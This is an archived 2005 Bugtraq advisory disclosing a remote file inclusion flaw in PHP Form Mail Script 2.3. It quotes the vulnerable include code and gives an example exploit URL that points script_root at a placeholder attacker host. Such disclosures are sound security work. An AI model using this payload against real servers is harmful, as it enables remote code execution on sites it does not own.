bugtraq - PHP Form Mail Script (2.3) - Arbitrary File Inclusion (VXSfx)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20050304172608.1543.qmail@www.securityfocus.com>
Date: 4 Mar 2005 17:26:08 -0000
From: Filip Groszynski <groszynskif@...il.com>
To: bugtraq@...urityfocus.com
Subject: PHP Form Mail Script (2.3) - Arbitrary File Inclusion (VXSfx)




-- == -- == -- == -- == -- == -- == -- == -- == -- == --
Name:       Form Mail Script (FS)
Version:    <= 2.3 (free/commercial)
Homepage:   http://www.stadtaus.com/

Author:     Filip Groszynski   (VXSfx)
Date:       4 March 2005
-- == -- == -- == -- == -- == -- == -- == -- == -- == --

Vulnerable code in inc/formmail.inc.php:

  ...
  /*****************************************************
  ** Include functions
  *****************************************************/
      include $script_root . 'inc/functions.inc.php';
      include $script_root . 'inc/template.class.inc.php';
      include $script_root . 'inc/template.ext.class.inc.php';
      include $script_root . 'inc/formmail.class.inc.php';
  ...
      include $script_root . 'languages/language.' . $language . '.inc.php';
  ...

--------------------------------------------------------

Example:

  if register_globals=on and allow_url_fopen=on:
    http://[victim]/[dir]/inc/formmail.inc.php?script_root=http://[hacker_box]/

--------------------------------------------------------

Fix and Vendor status:

  Vendor has been notified.
  
--------------------------------------------------------

Contact:

    Author:    Filip Groszynski   <VXSfx>
    Location:  Poland <Warsaw>
    Email:     groszynskif <at> gmail <dot> com
    HP:        http://shell.homeunix.org

-- == -- == -- == -- == -- == -- == -- == -- == -- == --